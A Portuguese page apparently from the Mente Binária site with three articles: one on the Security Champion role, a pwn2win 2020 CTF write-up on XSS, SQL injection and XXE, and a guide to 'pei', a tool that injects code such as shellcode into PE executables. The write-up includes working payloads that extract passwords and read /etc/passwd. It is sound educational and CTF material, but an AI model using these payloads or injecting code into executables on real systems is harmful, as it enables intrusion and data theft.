    Entre as principais responsabilidades dos Security Champions está a mudança cultural dos desenvolvedores, que devem passar a ter um olhar mais cuidadoso no trabalho de codificação, aplicando as melhores práticas de desenvolvimento seguro e buscando ter um olhar cada vez mais focado em segurança desde o início da criação de seus produtos.
    Um Security Champion, de forma geral, é um transformador cultural para as equipes de desenvolvimento, e atua também como uma ponte de ligação entre as áreas de desenvolvimento e de segurança. “É ele quem consegue manter um entendimento dos dois mundos, amenizando os conflitos e disputas”, esclarece Maués. 
    Algumas atividades comuns do dia a dia de um Security Champion são:
    Ajudar na realização de revisões de segurança;  Ajudar com a observação de melhores práticas de segurança; Desenvolver Modelagem de Ameaças para aplicativos novos e em evolução; Participar de movimentos de P&D – Pesquisa e Desenvolvimento; Orientar na identificação de requisitos de segurança; Avaliar e estudar bugs em código; Servir de elo de contato entre as demais equipes da área de segurança. No entanto, é muito importante ressaltar que o Security Champion não realiza essas tarefas sozinho. Tudo é feito em colaboração com o time! Afinal, o papel do Security Champion não é o de centralizar o conhecimento - e sim, de disseminá-lo nas equipes. 

    Como se tornar um Security Champion? Existe um perfil específico?
    É comum que Security Champions sejam desenvolvedores treinados e devidamente capacitados para suportar as iniciativas de segurança. 
    No entanto, isso não é regra - é possível que profissionais egressos de outras áreas, mas com algum conhecimento em desenvolvimento, recebam treinamento para atuar como Security Champions caso cumpram outros requisitos.
    De todo modo, é preciso ressaltar que Security Champions não são profissionais de segurança de aplicações que são focados exclusivamente em segurança. Essa confusão é muito comum, mas é uma concepção errada. 
    A escolha dos Security Champions dentro de cada time gera uma noção de pertencimento e ajuda no trabalho com os desenvolvedores. É imprescindível um trabalho cauteloso, que começa por um mapeamento de times. 
    Para isso, é preciso identificar e capacitar membros dos times de desenvolvimento que tenham esse perfil, para que atuem como facilitadores de segurança. E este papel exige características comportamentais, como iniciativa e autogestão.  Mas caso você sinta afinidade com essa carreira, esse já é um ótimo indício!

    Vagas na Conviso
    A Conviso, mantenedora aqui do Mente Binária, está com muitas vagas abertas. São vagas para áreas variadas dentro da empresa - de Desenvolvedor a Analista de Segurança da Informação.
    Caso você sinta afinidade com a especialidade da Conviso - Segurança de Aplicações - não deixe de se inscrever, ou mesmo de se cadastrar em nosso banco de talentos. É só clicar no botão abaixo:


    brenocss
    Hoje iremos acompanhar um writeup de um desafio do pwn2win 2020, criado pelo Caio Lüders, que nos permite aprender 3 vulnerabilidades conhecidas (XSS, SQL INJECTION e XXE) e categorizadas no OWASP Top 10 como Injection (top 1) e XXE (top 4).
    Para isso, vamos entender as vulnerabilidades envolvidas separadamente e depois explorar no desafio.
    O que é Reflected XSS
    Cross Site Script Refletido (Reflected XSS) é uma vulnerabilidade que explora a injeção de códigos na resposta HTTP que podem estar refletidos em diferentes contextos HTML e permitem execução de código JavaScript.
    Código vulnerável:
    ### Contexto de html <?php $nome = $_GET["nome"]; // Guarda o valor do parametro nome na variavel nome print '<h1>ola ' . $nome .'<h1>'; // Retorna no html <h1> ola $conteudo da variavel nome$ </h1> ?> O código PHP é vulnerável à XSS já que todo o conteúdo passado no parâmetro nome é retornado, sem sanitização, no HTML da página. Ou seja, se conseguimos injetar qualquer tag HTML podemos utilizar alguma tag que execute JavaScript (<script>alert(1)</script>, por exemplo) ou podemos utilizar tags com eventos (<img src=x onerror=alert(1)/>) como uma forma de executar JavaScript.
    XSS:
    http://localhost:8000/xsshtml.php?nome=<script>alert(1)</script> http://localhost:8000/xsshtml.php?nome=<img src=imageminvalida onerror=alert(1)> Código vulnerável:
    ### Contexto de atributo <?php $img = $_GET["img"]; // Pega o valor do parâmetro "img" e guarda dentro da variável "$img" print '<img src="' . $img .'">'; // Retorna no HTML da página <img src="CONTEUDO DA VARIAVEL $img"> ?> Percebemos que o servidor está inserindo o parâmetro img dentro do atributo src da imagem. Uma maneira que podemos transformar isso em um XSS é fechar o atributo e a tag com “> e inicializar outra tag que execute JavaScript, <img src=x onerror=xss>, por exemplo. Outro caminho é injetar outro atributo que execute JavaScript.
    XSS:
    http://localhost:8000/xssatributo.php?img="><img src=imageminvalida onerror=alert(1)> http://localhost:8000/xssatributo.php?img=imageminvalida" onerror=alert(1)// Código vulnerável:
    ### Contexto de códigos JavaScript <?php $nome = $_GET["nome"]; // Pega o valor do parametro "nome" e guarda na variavel $nome print '<body>'; // Adiciona a tag <body> no HTML print '<script>nome=\'' . $nome .'\';console.log(nome)</script>'; // adiciona o <script>nome=COUNTEUDO DA VARIAVEL $nome;console.log(nome)</script> no HTML da pagina print '</body>';// adiciona tag </body> para fechar a tag no html ?> Para explorar o XSS com o payload teste'-alert(1)// fechamos a String nome com ' . Fizemos a operação de subtração para executar o JavaScript e comentamos o código restante com //.
    XSS:
    http://localhost:8000/xssjavascript.php?nome='-alert(1)//  
    O que é SQL Injection
    SQL Injection é uma vulnerabilidade que explora como uma query SQL é montada e enviada para ser executada. Muitas vezes o desenvolvedor utiliza as entradas do usuário diretamente na query que será executada para fazer a consulta SQL sem nenhuma forma de tratamento.
    Código vulnerável:
    $usuario = $_POST['usuario']; $senha = $_POST['senha']; $sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' "; $processa = mysql_query($sql); Explorando SQL Injection
    No exemplo abaixo temos uma consulta normal de SQL com as entradas usuais de um usuário :
    $usuario = "epicleetteam"; $senha = "admin"; Com as entradas acima a consulta SQL resulta no seguinte:
    SELECT * FROM usuarios WHERE usuario = 'epicleetteam' AND senha = 'admin' Demonstrando agora o que acontece quando enviamos entradas com aspas simples:
    $usuario = "epicleet'team"; $senha = "admin"; Com as entradas acima a consulta SQL resulta no seguinte:
    SELECT * FROM usuarios WHERE usuario = 'epicleet'team' AND senha = 'admin' Podemos notar que a aspa simples quebra a query e nos permite escapar da string e gerar um erro de sintaxe. Como escapamos da string conseguimos executar qualquer comando SQL.
    Exemplo executando o comando sleep para evitar o erro de sintaxe utilizamos o # para comentar o resto da query:
    $usuario = "epicleetteam' union select sleep(5)#"; $senha = "admin"; SELECT * FROM usuarios WHERE usuario = 'epicleet' union select sleep(5)#' AND senha = 'admin'  
    O que é XXE
    XML External Entity (XXE) é uma característica do XML que nos permite criar uma referencia de um dado. Esse dado pode ser local ou remoto. Com isto a entidade passa a ter o valor contido no endereço referenciado e ao ser chamada retorna os dados desse endereço.
    Exemplo com arquivo local:
    <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> Saída:
    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:101::/nonexistent:/usr/sbin/nologin gnx:x:999:999::/home/gnx:/bin/sh Exemplo com arquivo externo:
    <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "https://epicleet.team/robots.txt" >]><foo>&xxe;</foo> Vamos ao desafio
    A ideia do desafio era explorar todas essas vulnerabilidades em uma única requisição. Sendo assim, a sua requisição precisa ser poliglota (ser entendida em diferentes contextos) e evitar com que uma exploração não atrapalhe a outra. Para começar escolhemos o SQL Injection.
    Para elaboração do payload separamos a resolução em 3 partes: SQLi, XXE e por fim XSS+XXE+SQLi.
    Código Fonte do desafio: https://github.com/pwn2winctf/challenges-2020/blob/master/web-A payload to rule them all/deploy/server/script/test_payload.js
    SQL Injection
    Os trechos destacados são responsáveis pela vulnerabilidade de SQL Injection e por validar caso ele tenha obtido sucesso. Depois disso, o desafio avalia se a saída da consulta do SQL possui a password do usuário. OBS: ${payload} é a entrada do atacante.
    Trecho do desafio vulnerável a SQL Injection:
    const sqli = await query(`SELECT * from posts where id='${payload}'`) //<- monta a query enviada para o sql await connection.end() return JSON.stringify(sqli).includes(users[0]["password"]) //<- Verifica se password esta no retorno da query Para retornar o conteúdo do password na query do SQL utilizamos o operador UNION.
    O operador union combina os resultados de duas ou mais queries em um único resultado, retornando todas as linhas pertencentes a todas as queries envolvidas na execução. Para utilizar o UNION, o número de colunas precisa ser idêntico em todas as queries.
    Sendo assim, começaremos descobrindo o número de colunas pela técnica baseada no tempo. Iremos variar a quantidade de colunas utilizando N vezes a palavra null e o comando sleep(5) para criar o delay. Desta forma verificaremos se a resposta foi impactada pelo delay (deu certo) ou não (deu errado):
    'UNION SELECT sleep(5)# (não demorou) 'UNION SELECT sleep(5),null# (não demorou) 'UNION SELECT sleep(5),null,null#(demorou) Para confirmar que são exatamente 3 colunas adicionamos mais uma coluna e se não demorar garantimos a quantidade 3 de colunas
    'UNION SELECT sleep(5),null,null,null# (não demorou)` Sendo assim, ao obter o numero de colunas correto podemos retornar o conteudo da senha com esse payload final
    'UNION SELECT null,null,(select password from users)# E assim fica a query executada pelo SQL:
    SELECT * from posts where id=''UNION SELECT null,null,(select password from users)#'  
    XXE
    Trecho do desafio vulnerável a XXE:
    var my_secret = Math.random().toString(36).substring(2) ;//<- Gera numero aleatorio fs.writeFileSync("/home/gnx/script/xxe_secret",my_secret) //<- Escreve esse numero aleatorio no arquivo xxe_secret var doc = libxml.parseXml(payload, { noent: true ,nonet: true })// <- recebe as entradas do atacante e parseia o xml return doc.toString().includes(my_secret) //<- verifica se o conteúdo do arquivo my_secret aparece no retorno do xml Para o ataque de XXE somente utilizei o payload conhecido de leitura de arquivo
    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/gnx/script/xxe_secret’>]><root>&test;</root> Porém para não atrapalhar o SQL Injection substituímos as aspas simples por aspas duplas.
    Assim ficamos com um payload poliglota que explora XXE e SQLi.
    Payload de XXE+SQLI:
    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>&test;</root>'UNION SELECT null,null,(select password from users)# XSS+XXE+SQLI
    A parte do XSS, supostamente mais simples, já que seria só definir a variável xss com o payload "xss=1", tornou-se a mais complicada pois era afetada pelos outros payloads, que acarretavam erros de sintaxe JavaScript.
    Trecho do código vulnerável:
    payload = sanitizeHtml(payload,{allowedTags:[]}) // <- Recebe a entrada do usuario e sanitiza com a funcao sanitizeHtml await page.goto(`data:text/html,<script>${payload}</script>`) // <- Coloca o conteudo sanitizado dentro da tag <script> const check = await page.evaluate("( typeof xss != 'undefined' ? true : false )") //<- verifica se a variavel xss esta definido Como todo o payload era passado em uma lib de sanitização antes de ser injetado no  browser (data:text/html,<script>${payload}</script>), deveríamos utilizar essa lib ao nosso favor para forçar a remoção do conteúdo dos outros ataques que atrapalham criar um JavaScript válido. Uma das remoções da lib é a de comentários. A lib  também remove todas as tags HTML. Sabendo disso, vamos usar essas características e juntar as vulnerabilidades. Exemplo:
    <tag aleatoria> é removido <!--é removido --> Remover o SQLl Injection do payload de XSS é bem fácil já que podemos injetar qualquer conteúdo antes das aspas simples precisando somente ser diferente de aspas simples e injetar qualquer conteúdo depois do comentário.
    SQL Injection com comentários do HTML:
    <!--’UNION SELECT (select password from users),null,null#--> Payload invalido com Sql Injection + XXE + XSS:
    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>xss=1//&test;</root><!--'UNION SELECT null,null,(select password from users)#--> A lib sanitizehtml, ao interpretar boa parte do conteudo xml como tag html, remove a maior parte da string.
    Partes restantes do payload depois do sanitize:
    ]>xss=1//&test; Erro ao acessar data:text/html,<script>]>xss=1//&test;</script>:
    Uncaught SyntaxError: Unexpected token ']' Percebemos que o conteúdo do xml estava atrapalhando o código JavaScript ao ser executado sem erros no browser. Para escapar criamos uma entidade <!ENTITY apagar SYSTEM "teste>/*"> com o conteúdo teste> para a lib remover algumas partes do xml.
    No entanto restaram alguns caracteres que estavam gerando o erro de sintaxe comentado anteriormente.Para isso utilizamos o comentário do JavaScript /* */ para comentar os caracteres “]> e o // para comentar todo o resto do payload.
    Payload Final usando comentário javascript:
    <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY apagar SYSTEM "teste>/*">]><root>*/xss=1//&xxe;</root><!--' union select (select password from users),null,null Outra maneira era utilizar o CDATA para injetar esses caracteres especiais < e colocar o xss dentro de uma entidade do xml. O CDATA é importante pois na ausência do CDATA eles seriam interpretados pelo xml parser e teríamos problemas com o xxe.
    Payload Final
    <!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY x "<![CDATA[ < ]]>xss=1//" >]><root>&test;</root><!--' union select (select password from users),null,null#-->

    Felipe.Silva
    Injeção de código é uma técnica que consiste em adicionar instruções extras em um executável. Essas instruções podem ser adicionadas em vários lugares do programa, inclusive executar antes do entry point original.
    O uso mais comum para injeção de código é para fins maliciosos, onde um shellcode poderia ser inserido no executável e dar acesso remoto para um atacante. Mas um exemplo de uso "justo" para essa técnica é para fins de patching no executável quando você quer que algo seja alterado em tempo de execução no binário.
    Se você já tentou injetar código em um executável manualmente deve saber que não é uma tarefa tão divertida. Pensando neste tipo de impasse, imaginei que seria interessante ter uma ferramenta para automatizar esse tipo de manipulação de um executável. Por esse motivo criei o pei, uma ferramenta para automatizar injeção de código e outros tipos de manipulações em executáveis PE de 32-bit e 64-bit.
    O pei foi programado pensando na automação e por isso é fácil usar a ferramenta a partir de um script. Com ela você pode obter e modificar valores no executável, e é claro, injetar código.
    Antes de qualquer coisa você pode instalar o pei em seu Linux rodando os comandos abaixo:
    git clone https://github.com/Silva97/pei cd pei make sudo make install Nota: Caso use Windows e não esteja usando WSL ou um MSYS2 da vida, você pode compilar o projeto instalando o make e o MinGW (recomendo usar o Chocolatey). No entanto, o “sudo make install” não vai funcionar no Windows, você vai ter que adicionar o executável ao PATH manualmente.
    Se você não estiver a fim de compilar o executável, fiz o favor de adicionar o binário da ferramenta compilado para Windows nos releases dela. Você pode baixá-lo no link https://github.com/Silva97/pei/releases/latest.
    O uso básico da ferramenta segue o seguinte formato:
    pei [opções] <operação> <executável> [argumento] Se você quiser ver mais detalhes de como usar a ferramenta você pode rodar “pei -h”.
    Operações
    As operações são o que determinam o que a ferramenta irá fazer com o executável, indo desde exibir informações sobre ele até modificar campos dos cabeçalhos.
    show
    A operação show serve para exibir informações sobre o executável e campos dos cabeçalhos. Se você não passar argumentos para a operação por padrão ela irá exibir informações básicas do executável:

    Você também pode especificar uma combinação de letras para escolher quais campos serão exibidos, dentre elas: c (COFF header), o (optional header), d (data directories) e s (section). Exemplo:
    $ pei show test.exe co Esse comando, por exemplo, exibe o COFF header e optional header do executável.
    get
    A operação get pega o valor de um campo individual de um dos cabeçalhos (coff, optional ou section) do executável.
    Seguindo uma notação com pontos, semelhante à acessar campos de estruturas em C, você pode especificar o cabeçalho e o nome do campo para ser obtido. Por exemplo, para obter o entry point do executável o comando ficaria:
    $ pei get executavel.exe optional.entry_point '%x' 14f0 Dica: Veja o nome dos campos dos cabeçalhos usando a operação show.
    O argumento após o nome do campo é uma string de formatação idêntica a da função printf() da libc, que aceita quaisquer flags de formatação disponíveis para a função.
    Para acessar os campos de uma seção é necessário especificar o número da seção também, como demonstrado no print abaixo:

    edit
    A operação edit serve para modificar o valor de campos, onde o nome do campo é especificado de maneira idêntica à operação get.
    Você pode utilizar os operadores `=`, `|=` e `&=` que fazem exatamente a mesma coisa que na linguagem C. Exemplos:
    $ pei edit executavel.exe section.0.name = .code $ pei edit executavel.exe optional.entry_point = 0xabcd1234 Esta operação aceita números em decimal, hexadecimal ou octal na hora de definir o valor de campos numéricos.
    zeros
    Esta operação simplesmente exibe uma lista das maiores sequências de bytes nulo em cada seção do executável. É este espaço que é utilizado para injetar o código, tornando a operação útil para você poder escolher em qual seção injetar o código.
    $ pei zeros executavel.exe Section #0 '.text': 0x00000000000022fb of 13 bytes Section #1 '.data': 0x000000000000242c of 1012 bytes Section #2 '.rdata': 0x0000000000002a5b of 37 bytes Section #6 '.idata': 0x0000000000003a26 of 22 bytes Section #7 '.CRT': 0x000000000000420b of 21 bytes Section #9 '/4': 0x0000000000004649 of 23 bytes Section #10 '/19': 0x0000000000004cbe of 10 bytes Section #12 '/45': 0x000000000003e2fc of 5 bytes Section #13 '/57': 0x0000000000041019 of 8 bytes Section #15 '/81': 0x0000000000043c33 of 44 bytes Section #16 '/92': 0x0000000000045509 of 23 bytes inject - A cereja do bolo 🙂
    Esta é a operação que injeta o código. Você pode usar a opção -f para especificar o arquivo contendo o código a ser injetado, que seria um raw binary. Onde esse arquivo deve conter apenas as instruções de código de máquina a ser injetado, como um shellcode por exemplo.
    Opcionalmente, você pode usar a opção -s para especificar o número da seção que você quer injetar o código. Se a opção não for especificada, por padrão o pei vai injetar onde houver mais espaço disponível.
    $ pei -f my_code.bin inject executavel.exe Writed code of 12 bytes on offset 0x0000000000043924 of section #15 '/81' Após o código injetado, o pei insere um jump absoluto para o entry point original do executável, fazendo com que após o código injetado ser executado o fluxo de execução do programa continue normalmente.
    Outra modificação que o pei faz é desabilitar o dynamic base do executável, para evitar que o jump aponte para o endereço errado.
    Dica: Injetando Código Muito Grande
    Se você precisar injetar um código maior do que o espaço disponível apontado pela operação zeros, você pode dividir o código a ser injetado em várias partes e injetar cada parte por vez, seguindo a ordem da última até a primeira parte. Isso funciona porque o pei irá adicionar um jump no final do código para o endereço que está sendo indicado como entry point. Se você já injetou código antes, esse endereço é o endereço do código anteriormente injetado. 🙂
    Dessa forma você pode fazer um chain de saltos da primeira parte até a última e então saltar para o entry point original. Exemplo:
    $ pei inject -f parte-3.bin executavel.exe Writed code of 87 bytes on offset 0x0000000000043833 of section #15 '/81' $ pei inject -f parte-2.bin executavel.exe Writed code of 80 bytes on offset 0x0000000000044924 of section #11 '/23' $ pei inject -f parte-1.bin executavel.exe Writed code of 32 bytes on offset 0x0000000000401a15 of section #1 '.text' Isso irá criar a seguinte ordem de execução: parte-1.bin -> parte-2.bin -> parte-3.bin -> entry point. Onde as setas “->” representam os saltos.
    diff
    Esta operação exibe diferenças entre dois executáveis. Ela compara cada campo dos cabeçalhos do executável e o conteúdo das seções, e depois exibe estas diferenças no terminal. Você pode usar a opção -c (ou --color) para que a saída da operação seja colorida:

    Em vermelho são os valores no executável original que foram modificados e em verde são os valores novos no executável modificado.
    patch
    Essa operação lê um texto de entrada no mesmo formato que a saída da operação diff e replica as mesmas modificações no executável. Exemplo:
    $ pei patch executavel2.exe diff-output.txt Caso você não especifique um patch file, o pei irá ler de stdin. Assim, é possível que você faça um pipe entre uma operação de diff e patch:
    $ pei diff original.exe mod.exe | pei patch outro.exe A diferença de fazer isto e simplesmente fazer uma cópia do executável modificado, é que a ideia é replicar somente as diferenças entre os executáveis. Quaisquer outros campos não são tocados pela operação patch, o que te permite salvar alterações e replicá-las por meio de um script. 🙂
    Se você quiser, também é possível escrever um patch file manualmente, bastando imitar a saída de diff. Uma dica é que os valores dos campos originais (em vermelho) não são necessários para a operação patch, então você pode inserir somente os valores novos. Seguindo o print da saída do diff que utilizamos agora pouco como exemplo:
    optional.entry_point xxx 0x4ca33 section.0.name xxx .code section.15.characteristics xxx 0x62100040 // @O texto não faz diferença, só importa o @ no início da linha // Daqui para baixo qualquer linha que não inicie com + será ignorada. +0x43830 00 30 9f 61 62 63 0a b8 f0 14 40 00 ff e0 00 00 // O formato é: +0xoffset bytes em hexadecimal Nota: Onde há o “xxx” seriam os campos dos valores originais (em vermelho) que não são lidos pelo pei porém são necessários para imitar a saída da operação diff. Você pode colocar qualquer valor aí que não dará erro já que são ignorados.
    Você pode usar a operação patch em scripts para automatizar várias modificações em um executável ao mesmo tempo, inclusive em bytes de um determinado offset.

×
×
  • Create New...